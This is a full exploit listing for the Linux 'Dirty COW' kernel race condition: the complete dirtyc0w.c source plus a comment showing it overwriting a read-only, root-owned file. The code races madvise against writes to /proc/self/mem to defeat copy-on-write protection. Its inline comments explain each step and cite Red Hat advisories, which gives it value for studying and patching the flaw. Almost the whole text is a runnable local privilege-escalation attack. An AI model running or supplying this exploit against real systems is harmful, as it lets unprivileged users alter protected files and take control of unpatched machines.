Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)
/* ####################### dirtyc0w.c ####################### $ sudo -s # echo this is not a test > foo # chmod 0404 foo $ ls -lah foo -r-----r-- 1 root root 19 Oct 20 15:23 foo $ cat foo this is not a test $ gcc -pthread dirtyc0w.c -o dirtyc0w $ ./dirtyc0w foo m00000000000000000 mmap 56123000 madvise 0 procselfmem 1800000000 $ cat foo m00000000000000000 ####################### dirtyc0w.c ####################### */ #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> void *map; int f; struct stat st; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { /* You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapped in memory. */ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; /* You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 > The in the wild exploit we are aware of doesn't work on Red Hat > Enterprise Linux 5 and 6 out of the box because on one side of > the race it writes to /proc/self/mem, but /proc/self/mem is not > writable on Red Hat Enterprise Linux 5 and 6. */ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { /* You have to reset the file pointer to the memory position. */ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc,char *argv[]) { /* You have to pass two arguments. File and Contents. */ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2; /* You have to open the file in read only mode. */ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; /* You have to use MAP_PRIVATE for copy-on-write mapping. > Create a private copy-on-write mapping. Updates to the > mapping are not visible to other processes mapping the same > file, and are not carried through to the underlying file. It > is unspecified whether changes made to the file after the > mmap() call are visible in the mapped region. */ /* You have to open with PROT_READ. */ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map); /* You have to do it on two threads. */ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); /* You have to wait for the threads to finish. */ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; } |